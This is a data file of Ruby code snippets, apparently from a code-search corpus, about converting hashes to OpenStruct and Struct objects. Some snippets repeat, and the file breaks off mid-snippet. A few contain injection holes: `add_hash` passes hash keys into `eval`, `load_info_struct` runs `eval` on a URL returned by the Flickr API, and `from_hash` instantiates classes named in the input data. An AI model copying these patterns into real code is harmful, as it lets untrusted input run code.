"def nested_struct obj\n case obj\n when Hash\n obj.each_with_object(OpenStruct.new) do |(k,v), acc|\n acc[k]= case v\n when Hash then send(__method__,v)\n when Array then v.map(&method(__method__))\n else v\n end\n end.\n tap{|x| x.define_singleton_method(:keys){ obj.to_h.keys }}.\n tap{|x| x.define_singleton_method(:values){ AwsDevUtils::Utils.nested_struct obj.to_h.values }}\n when Array\n obj.map(&method(__method__))\n else\n obj\n end\n end",
"def to_h\n NestedOstruct.parse(self)\n end",
"def to_doc(o = self)\n o = EOStruct::eos o\n h = o._hash.clone\n h.each { |k, v|\n if v.kind_of? OpenStruct\n h[k] = to_doc(v)\n end\n }\n h\n end",
"def __convert hash #:nodoc:\n instance = self.class.new\n hash.each do |k, v|\n k = k.to_s if !k.respond_to?(:to_sym) && k.respond_to?(:to_s)\n instance.new_ostruct_member k\n if v.is_a?(Hash)\n v = v[\"type\"] == \"hash\" ? v[\"contents\"] : __convert(v)\n elsif v.is_a?(Array)\n v = v.map{|e| e.instance_of?(Hash) ? __convert(e) : e}\n end\n instance.send \"#{k}=\".to_sym, v\n end\n instance\n end",
"def ostruct_to_hash(ostruct, hash = {})\n ostruct.each_pair do |k, v|\n hash[k] = v.is_a?(OpenStruct) ? ostruct_to_hash(v) : v\n end\n\n hash\n end",
"def to_ostruct(response)\n OpenStruct.new(JSON.parse(response))\nend",
"def create_eos(o = OpenStruct.new) \n class << (o)\n include EOS\n alias_method :_hash, :deep_inspect\n end unless o.respond_to? :deep_inspect\n o\n end",
"def hash2os(hash)\n hash.each_key do |key|\n hash[key] = hash2os(hash[key]) if hash[key].is_a?(Hash)\n chk_array(hash[key]) if hash[key].is_a?(Array)\n end\n hash = OpenStruct.new(hash)\n end",
"def value_of(open_struct_object, mapped_command)\n # split string by '.' delimiter keeping in mind to split when words only\n commands = mapped_command.split(/\\.(?=\\w)/)\n\n value = open_struct_object\n commands.each do |command|\n value = evaluate_command(value, command)\n end\n return value\n end",
"def t2(*args)\n OpenStruct.new\n end",
"def to_ot\n Octothorpe.new(to_h)\n end",
"def to_struct(name=nil)\n Struct.new(name, *data.keys).new *data.values\n end",
"def recursive_to_h(struct)\n if struct.is_a?(Array)\n return struct.map { |v| v.is_a?(OpenStruct) || v.is_a?(Array) || v.is_a?(Hash) ? recursive_to_h(v) : v }\n end\n\n hash = {}\n\n struct.each_pair do |k, v|\n recursive_val = v.is_a?(OpenStruct) || v.is_a?(Array) || v.is_a?(Hash)\n hash[k] = recursive_val ? recursive_to_h(v) : v\n end\n hash\n end",
"def struct(hash, arrays = false)\n keys = hash.keys.map(&:to_sym)\n values = hash.values_at(*keys)\n values.map! do |v|\n case v\n when Array then arrays ? v.map { |elem| struct(elem, arrays) } : v\n when Hash then struct(v, arrays)\n else v\n end\n end\n Struct.new(*keys).new(*values)\n end",
"def to_nested_object(opts_={})\n if @structure.degenerate?\n @vals[@offset]\n else\n _to_nested_obj(0, ::Array.new(@structure.dim, 0), opts_)\n end\n end",
"def oid\n @oid ||= OID.from_pointer(@struct.name, @struct.name_length)\n end",
"def build_struct_tree data\n data.to_hashugar\n end",
"def object (ref, save_pos = true)\n return ref unless ref.kind_of?(Reference)\n pos = @buffer.pos_without_buf if save_pos\n obj = Parser.new(@buffer.seek(offset_for(ref)), self).object(ref.id, ref.gen)\n @buffer.seek(pos) if save_pos\n return obj\n end",
"def new_ostruct_member(name)\n name = name.to_sym\n unless singleton_class.method_defined?(name)\n define_singleton_method(name) { @table[name] }\n define_singleton_method(\"#{name}=\") do |x|\n raise TypeError, \"can't modify frozen #{self.class}\", caller(10) if self.frozen?\n modifiable[name] = x\n end\n end\n name\n end",
"def substruct(strbuf, name, len, klass, *extra_args)\n new=klass.new(strbuf, *extra_args)\n @fields << new\n @hash_references[name]=new\n meta_def name do new end\n # More informative than the NoMethodError they would normally get.\n meta_def (name.to_s + '=').to_sym do raise NoMethodError, \"Binstruct: Illegal call of '=' on a substruct.\" end\n end",
"def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"def store!(key, value)\n if @nested && Hash === value # value.respond_to?(:to_hash)\n value = OpenStruct2.new(value)\n end\n\n #new_ostruct_member(key) # this is here only for speed bump\n\n @table[key.to_sym] = value\n end",
"def awesome_mongo_mapper_instance(object)\n return object.inspect if !defined?(::ActiveSupport::OrderedHash)\n\n data = object.attributes.sort_by { |key| key }.inject(::ActiveSupport::OrderedHash.new) do |hash, c|\n hash[c[0].to_sym] = c[1]\n hash\n end\n if !object.errors.empty?\n data = {:errors => object.errors, :attributes => data}\n end\n \"#{object} #{awesome_hash(data,true)}\"\n end",
"def convert_to_openstruct?(options) # :nodoc:\n @@use_openstruct ? Options.new(options) : options\n end",
"def convert(struct)\n if valid?(struct)\n struct\n else\n struct.map do |subkey, subvalue|\n subkey = Utils.underscore(subkey.to_s)\n [subkey.to_sym, subprops[subkey].convert(subvalue)]\n end.to_h\n end\n end",
"def awesome_data_mapper_instance(object)\n return object.inspect if !defined?(::ActiveSupport::OrderedHash)\n return awesome_object(object) if @options[:raw]\n\n data = object.class.properties.map(&:name).inject(::ActiveSupport::OrderedHash.new) do |hash, name|\n value = object.respond_to?(name) ? object.send(name) : object.read_attribute(name)\n hash[name.to_sym] = value\n hash\n end\n \"#{object} \" << awesome_hash(data)\n end",
"def new_ostruct_member(name)\n name = name.to_sym\n unless singleton_class.method_defined?(name)\n define_singleton_method(name) { @table[name] }\n define_singleton_method(\"#{name}=\") { |x| modifiable[name] = x }\n end\n name\n end",
"def nested_hash obj\n if obj.kind_of? Array\n obj.map(&method(__method__))\n elsif obj.respond_to?(:to_h)\n obj.to_h.each_with_object({}) do |(k,v), acc|\n acc[k] = case v\n when Hash,OpenStruct then send(__method__,v)\n when Array then v.map(&method(__method__))\n else v\n end\n end\n else\n obj\n end\n end",
"def method_missing(mid, *args, **kwargs, &block)\n len = args.length\n\n res = if mid.to_s.end_with?('!')\n m = mid[0...-1].to_sym\n new_ostruct_member!(m)\n @table[m]\n elsif mid.to_s.end_with?('=')\n m = mid[0...-1].to_sym\n new_ostruct_member!(m)\n @table[m] = args.first\n elsif len.positive? || kwargs.any? || block\n new_ostruct_member!(mid)\n @table[mid] = nested_class.new(key: mid, **(args.first || {}), **kwargs)\n else\n @table[mid]\n end\n\n block&.call(res)\n\n res\n end",
"def slice_object\n object_name = @value.keys.first\n values = @value.values.first\n items = @selector.scan(/['|\"](\\w+)['|\"]/).flatten\n return {object_name => {}} if items.empty?\n if items.size == 1\n items[0] = items[0].to_s if items[0].is_a?(Symbol)\n ObjectRepresentation[object_name, Hash[values.select {|key, value| key.to_s.match(items.first) }]]\n else\n ObjectRepresentation[object_name, Hash[values.select {|key, value| items.include?(key)}]]\n end\n end",
"def add_hash(obj, hash)\n return unless hash\n\n hash.each do |key, value|\n if value.class == Hash\n eval \"obj.#{key} = OpenStruct.new\"\n add_hash(eval(\"obj.#{key}\"), value)\n else\n eval \"obj.#{key.downcase} = value\"\n end\n end\n end",
"def indifferentiate(object)\n case object\n when Hash\n h = if {}.respond_to?(:with_indifferent_access) # Better support for Rails.\n {}.with_indifferent_access\n else\n Hash.new { |hash, key| hash[key.to_s] if Symbol === key }\n end\n\n object.each { |k, v| h[k] = indifferentiate(v) }\n h\n when Array\n object.map { |v| indifferentiate(v) }\n else\n object\n end\n end",
"def to_struct_class\n # flatten fields to handle the case where a helper has contributed a series of fields\n # in an array\n args = @fields.flatten\n # prepend the name if specified\n args = [ @name ] + args if @name\n \n # create an array.pack field specifier string from all the field specs\n field_spec_string = @field_specs.flatten.join(' ')\n \n # obtain the class for the arguments\n struct_class = self.class.create_struct_class(*args)\n \n # define metadata for this particular class\n struct_class.const_set(\"SIZE\", @size)\n struct_class.const_set(\"FIELD_SPEC_STRING\", field_spec_string)\n struct_class.const_set(\"LAMBDAS\", @lambdas)\n struct_class.const_set(\"PASCAL_STRINGS\", @pascal_strings)\n\n # create the struct class\n # mix in the record parse helpers\n struct_class.class_eval do\n include StructMixin\n end\n\n struct_class\n end",
"def use_openstruct(use_openstruct)\n @@use_openstruct = use_openstruct\n end",
"def to_hash(object)\n result = object\n case result\n when OpenStruct\n result = result.marshal_dump\n result.each do |k, v|\n result[k] = to_hash(v)\n end\n when Array\n result = result.map { |v| to_hash(v) }\n end\n result\n end",
"def structural_hash\n @structural_hash ||= pure_ruby_hash\n end",
"def to_obj\n @obj ||= Registry.resolve(@namespace, @name)\n end",
"def object(name, option={})\n unless option.has_key?(:is_a)\n option[:is_a] = :hash\n end\n register_attribute_member(name, option)\n define_attribute_accessor(name, option)\n define_validations(name, option)\n end",
"def reify(hash)\n type = index(hash, :type)\n content = klass(type).new(nil, @context, reify: true, def: index(hash, :def))\n DSLStructObject.new(type, content, reify: true, required: index(hash, :required))\n end",
"def _convert(p)\n o = create_eos\n while p.has_next?\n element = nil\n pe = p.pull\n tok = if pe[0].strip == ''\n nil\n else\n pe[0].strip\n end\n case pe.event_type \n\n when :start_element\n tok[0] = tok[0].downcase\n element = tok.to_sym\n val = _convert(p)\n if o._hash.key? element # already there?\n unless o._hash[element].kind_of? Array\n o._hash[element] = [o._hash[element], val]\n else\n o._hash[element] << val\n end \n else\n o._hash[element] = val\n end\n \n when :text\n unless o.kind_of? OpenStruct\n o += tok\n else\n o = tok\n end unless tok.nil?\n\n when :end_element\n o = if (not o.kind_of? OpenStruct) or not o._hash.empty? \n o\n else\n nil\n end\n return o\n end\n end\n o\n end",
"def struct_union_construct(base_type, member_list)\n con_hash = {'.type' => base_type['.type'].clone} # struct or union \n con_hash['.members'] = []\n\n member_list.each do |member|\n member_name = member[0] # identifier\n member_type = member[1] # chained hash\n\n con_hash['.members'].push([member_name, member_type])\n end\n\n return con_hash\nend",
"def struct_union_construct(base_type, member_list)\n con_hash = {'.type' => base_type['.type'].clone} # struct or union \n con_hash['.members'] = []\n\n member_list.each do |member|\n member_name = member[0] # identifier\n member_type = member[1] # chained hash\n\n con_hash['.members'].push([member_name, member_type])\n end\n\n return con_hash\nend",
"def double\n double = OpenStruct.new(\n id: UUIDTools::UUID.timestamp_create.to_s,\n storage_key: 'test'\n )\n def double.attributes\n marshal_dump\n end\n double\n end",
"def object(o, with=nil)\n o_hash = case @options[:escape]\n when :quote then {'class' => o.class.to_s, 'object_id' => o.object_id.to_s}\n when :safe then {'class' => o.class.to_s, 'object_id' => o.object_id}\n else {:class => o.class, :object_id => o.object_id}\n end\n o.instance_variables.sort.each do |iv|\n iv_k = [:quote, :safe].include?(@options[:escape]) ? iv.to_s : iv.to_sym\n o_hash[iv_k] = @awesome.call(o.instance_variable_get(iv))\n end\n o_hash = with.merge(o_hash) if with\n return o_hash\n end",
"def initialize(hash=nil)\n @table = HashWithIndifferentAccess.new\n\n for k,v in hash\n @table[k] = v\n new_ostruct_member(k)\n end if hash\n end",
"def load_info_struct(photo, location = true)\n info = OpenStruct.new\n sizes = flickr.photos.getSizes(:photo_id => photo.id)\n url = eval(\"\\\"#{sizes[-1].source}\\\"\").gsub(' ', '')\n info.url = CGI.unescape(\"#{url}\")\n inf = flickr.photos.getInfo(:photo_id => photo.id)\n\n %w{title description tags}.each do |key|\n info.send(\"#{key}=\", fetch_and_unescape(inf, key))\n end\n\n if location == true\n geo = flickr.photos.geo.getLocation(:photo_id => photo.id).location\n\n %w{latitude, longitude, country, locality, region}.each do |key|\n info.send(\"#{key}=\", fetch_and_unescape(geo, key))\n end\n\n info.location = [info.locality, info.region, info.country].join(', ')\n end\n\n info\nend",
"def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"def Dottie(obj)\n Dottie[obj]\nend",
"def obj_struct_build(options)\n if options.is_a? Array\n vals = group_by_class(options)\n vals.each { |k, v| set_attrs(k, v) }\n elsif options.is_a? Hash\n options.each { |k, v| set_attrs(k, v) } # multiple objects already built\n else\n klass = options.class.to_s.underscore\n set_attrs(klass, options)\n end\n end",
"def test_struct_supports_array_access\n klass = Struct.new(:a, :b)\n o = klass.new(:first, :second)\n\n assert_equal(:second, o.dig(1))\n assert_nil(o.dig(2))\n\n e = assert_raises(TypeError) { o.dig(Object.new) }\n end",
"def create_struct( entry_hash )\n values = entry_hash.keys.sort_by{|entry|entry.to_s}.collect {|key| entry_hash[key]}\n result = Struct::Entry.new( *values )\n result\n end",
"def response_to_struct(response)\n result = response.each_with_object({}) do |result_parts, result|\n next unless result_parts[0]\n key = result_parts[0].sub('atom:', '').sub('dcterms:', '')\n info = result_parts[1]\n val = result_parts[2]\n\n case key\n when 'title', 'id', 'name', 'updated', 'created'\n result[key] = val\n when 'link'\n result[\"links\"] ||= []\n result[\"links\"] << [info[\"type\"], info[\"href\"]]\n end\n end\n\n OpenStruct.new(result)\n end",
"def v(o)\n case o\n when Symbol, Numeric, String, Class, TrueClass, FalseClass, NilClass\n o\n when Array\n o.map{|x| v(x)}\n when Hash\n h = {}\n o.each{|k, val| h[v(k)] = v(val)}\n h\n when SQL::NumericExpression\n if o.op == :extract\n o.class.new(o.op, o.args[0], v(o.args[1]))\n else\n o.class.new(o.op, *v(o.args))\n end\n when SQL::ComplexExpression\n o.class.new(o.op, *v(o.args))\n when SQL::Identifier\n SQL::Identifier.new(v(o.value))\n when SQL::QualifiedIdentifier\n SQL::QualifiedIdentifier.new(v(o.table), v(o.column))\n when SQL::OrderedExpression\n SQL::OrderedExpression.new(v(o.expression), o.descending, :nulls=>o.nulls)\n when SQL::AliasedExpression\n SQL::AliasedExpression.new(v(o.expression), o.alias, o.columns)\n when SQL::CaseExpression\n args = [v(o.conditions), v(o.default)]\n args << v(o.expression) if o.expression?\n SQL::CaseExpression.new(*args)\n when SQL::Cast\n SQL::Cast.new(v(o.expr), o.type)\n when SQL::Function\n h = {}\n o.opts.each do |k, val|\n h[k] = v(val)\n end\n SQL::Function.new!(o.name, v(o.args), h)\n when SQL::Subscript\n SQL::Subscript.new(v(o.f), v(o.sub))\n when SQL::Window\n opts = o.opts.dup\n opts[:partition] = v(opts[:partition]) if opts[:partition]\n opts[:order] = v(opts[:order]) if opts[:order]\n SQL::Window.new(opts)\n when SQL::PlaceholderLiteralString\n args = if o.args.is_a?(Hash)\n h = {}\n o.args.each{|k,val| h[k] = v(val)}\n h\n else\n v(o.args)\n end\n SQL::PlaceholderLiteralString.new(o.str, args, o.parens)\n when SQL::JoinOnClause\n SQL::JoinOnClause.new(v(o.on), o.join_type, v(o.table_expr))\n when SQL::JoinUsingClause\n SQL::JoinUsingClause.new(v(o.using), o.join_type, v(o.table_expr))\n when SQL::JoinClause\n SQL::JoinClause.new(o.join_type, v(o.table_expr))\n when SQL::DelayedEvaluation\n SQL::DelayedEvaluation.new(lambda{|ds| v(o.call(ds))})\n when SQL::Wrapper\n SQL::Wrapper.new(v(o.value))\n else\n o\n end\n end",
"def v(o)\n case o\n when Symbol, Numeric, String, Class, TrueClass, FalseClass, NilClass\n o\n when Array\n o.map{|x| v(x)}\n when Hash\n h = {}\n o.each{|k, val| h[v(k)] = v(val)}\n h\n when SQL::NumericExpression\n if o.op == :extract\n o.class.new(o.op, o.args[0], v(o.args[1]))\n else\n o.class.new(o.op, *v(o.args))\n end\n when SQL::ComplexExpression\n o.class.new(o.op, *v(o.args))\n when SQL::Identifier\n SQL::Identifier.new(v(o.value))\n when SQL::QualifiedIdentifier\n SQL::QualifiedIdentifier.new(v(o.table), v(o.column))\n when SQL::OrderedExpression\n SQL::OrderedExpression.new(v(o.expression), o.descending, :nulls=>o.nulls)\n when SQL::AliasedExpression\n SQL::AliasedExpression.new(v(o.expression), o.alias, o.columns)\n when SQL::CaseExpression\n args = [v(o.conditions), v(o.default)]\n args << v(o.expression) if o.expression?\n SQL::CaseExpression.new(*args)\n when SQL::Cast\n SQL::Cast.new(v(o.expr), o.type)\n when SQL::Function\n h = {}\n o.opts.each do |k, val|\n h[k] = v(val)\n end\n SQL::Function.new!(o.name, v(o.args), h)\n when SQL::Subscript\n SQL::Subscript.new(v(o.expression), v(o.sub))\n when SQL::Window\n opts = o.opts.dup\n opts[:partition] = v(opts[:partition]) if opts[:partition]\n opts[:order] = v(opts[:order]) if opts[:order]\n SQL::Window.new(opts)\n when SQL::PlaceholderLiteralString\n args = if o.args.is_a?(Hash)\n h = {}\n o.args.each{|k,val| h[k] = v(val)}\n h\n else\n v(o.args)\n end\n SQL::PlaceholderLiteralString.new(o.str, args, o.parens)\n when SQL::JoinOnClause\n SQL::JoinOnClause.new(v(o.on), o.join_type, v(o.table_expr))\n when SQL::JoinUsingClause\n SQL::JoinUsingClause.new(v(o.using), o.join_type, v(o.table_expr))\n when SQL::JoinClause\n SQL::JoinClause.new(o.join_type, v(o.table_expr))\n when SQL::DelayedEvaluation\n SQL::DelayedEvaluation.new(lambda{|ds| v(o.call(ds))})\n when SQL::Wrapper\n SQL::Wrapper.new(v(o.value))\n else\n o\n end\n end",
"def read\n @storage = {}\n scan\n apply_overrides\n\n OpenStruct.new(@storage)\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.openapi_types.each_pair do |key, type|\n if type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end # or else data not found in attributes(hash), not an issue as the data can be optional\n end\n\n self\nend",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.openapi_types.each_pair do |key, type|\n if type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end # or else data not found in attributes(hash), not an issue as the data can be optional\n end\n\n self\nend",
"def convert_json_trace_to_object(trace)\n JSON.parse(trace[1...-1].insert(0, '{'), object_class: OpenStruct)\n end",
"def fetch(path = nil)\n to_ostruct(get(sanitize!(path)))\nend",
"def awesome_mongo_mapper_instance(object)\n return object.inspect if !defined?(ActiveSupport::OrderedHash)\n\n data = object.keys.keys.inject(ActiveSupport::OrderedHash.new) do |hash, name|\n hash[name] = object[name]\n hash\n end\n \"#{object} \" + awesome_hash(data)\n end",
"def build_struct(node)\n struct_values = node.find('struct/*[@resource-type=\"Primitive\"]').to_a.collect{|primitive_node|\n [ primitive_node['ident'].to_sym, \"Shapes::Builder::#{primitive_node['resource-type']}\".\n constantize.new(primitive_node).build_resource ]\n }\n Shapes::Struct.struct_class(struct_name, struct_values.map(&:first)).new(*struct_values.map(&:last))\n end",
"def init_jaxb_json_hash(_o)\n if !_o['key'].nil?\n _oa = _o['key']\n if(_oa.is_a? Hash)\n @key = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @key = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @key = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @key.push String.from_json(_item)\n else\n @key.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @key = _oa\n end\n end\n if !_o['value'].nil?\n _oa = _o['value']\n if(_oa.is_a? Hash)\n @value = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @value = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @value = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @value.push String.from_json(_item)\n else\n @value.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @value = _oa\n end\n end\n end",
"def denormalize attributes\n return object_class.new if attributes.nil?\n\n object = object_class.new\n\n attribute_names.each do |attr_name|\n attr_value = attributes[attr_name] || attributes[attr_name.to_s]\n\n object.send(:\"#{attr_name}=\", attr_value)\n end # each\n\n object\n end",
"def inspect\n %(#<#{self.class} struct_namespace=#{struct_namespace} auto_struct=#{auto_struct}>)\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil) # // guardrails-disable-line\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) # // guardrails-disable-line\n end\n elsif !attributes[self.class.attribute_map[key]].nil? && type.kind_of?(Array)\n for base_type in type do\n res = _deserialize(base_type, attributes[self.class.attribute_map[key]])\n if !res.nil?\n self.send(\"#{key}=\", res) # // guardrails-disable-line\n break\n end\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]])) # // guardrails-disable-line\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil) # // guardrails-disable-line\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) # // guardrails-disable-line\n end\n elsif !attributes[self.class.attribute_map[key]].nil? && type.kind_of?(Array)\n for base_type in type do\n res = _deserialize(base_type, attributes[self.class.attribute_map[key]])\n if !res.nil?\n self.send(\"#{key}=\", res) # // guardrails-disable-line\n break\n end\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]])) # // guardrails-disable-line\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil) # // guardrails-disable-line\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) # // guardrails-disable-line\n end\n elsif !attributes[self.class.attribute_map[key]].nil? && type.kind_of?(Array)\n for base_type in type do\n res = _deserialize(base_type, attributes[self.class.attribute_map[key]])\n if !res.nil?\n self.send(\"#{key}=\", res) # // guardrails-disable-line\n break\n end\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]])) # // guardrails-disable-line\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil) # // guardrails-disable-line\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) # // guardrails-disable-line\n end\n elsif !attributes[self.class.attribute_map[key]].nil? && type.kind_of?(Array)\n for base_type in type do\n res = _deserialize(base_type, attributes[self.class.attribute_map[key]])\n if !res.nil?\n self.send(\"#{key}=\", res) # // guardrails-disable-line\n break\n end\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]])) # // guardrails-disable-line\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil) # // guardrails-disable-line\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) # // guardrails-disable-line\n end\n elsif !attributes[self.class.attribute_map[key]].nil? && type.kind_of?(Array)\n for base_type in type do\n res = _deserialize(base_type, attributes[self.class.attribute_map[key]])\n if !res.nil?\n self.send(\"#{key}=\", res) # // guardrails-disable-line\n break\n end\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]])) # // guardrails-disable-line\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil) # // guardrails-disable-line\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) # // guardrails-disable-line\n end\n elsif !attributes[self.class.attribute_map[key]].nil? && type.kind_of?(Array)\n for base_type in type do\n res = _deserialize(base_type, attributes[self.class.attribute_map[key]])\n if !res.nil?\n self.send(\"#{key}=\", res) # // guardrails-disable-line\n break\n end\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]])) # // guardrails-disable-line\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil) # // guardrails-disable-line\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) # // guardrails-disable-line\n end\n elsif !attributes[self.class.attribute_map[key]].nil? && type.kind_of?(Array)\n for base_type in type do\n res = _deserialize(base_type, attributes[self.class.attribute_map[key]])\n if !res.nil?\n self.send(\"#{key}=\", res) # // guardrails-disable-line\n break\n end\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]])) # // guardrails-disable-line\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil) # // guardrails-disable-line\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) # // guardrails-disable-line\n end\n elsif !attributes[self.class.attribute_map[key]].nil? && type.kind_of?(Array)\n for base_type in type do\n res = _deserialize(base_type, attributes[self.class.attribute_map[key]])\n if !res.nil?\n self.send(\"#{key}=\", res) # // guardrails-disable-line\n break\n end\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", 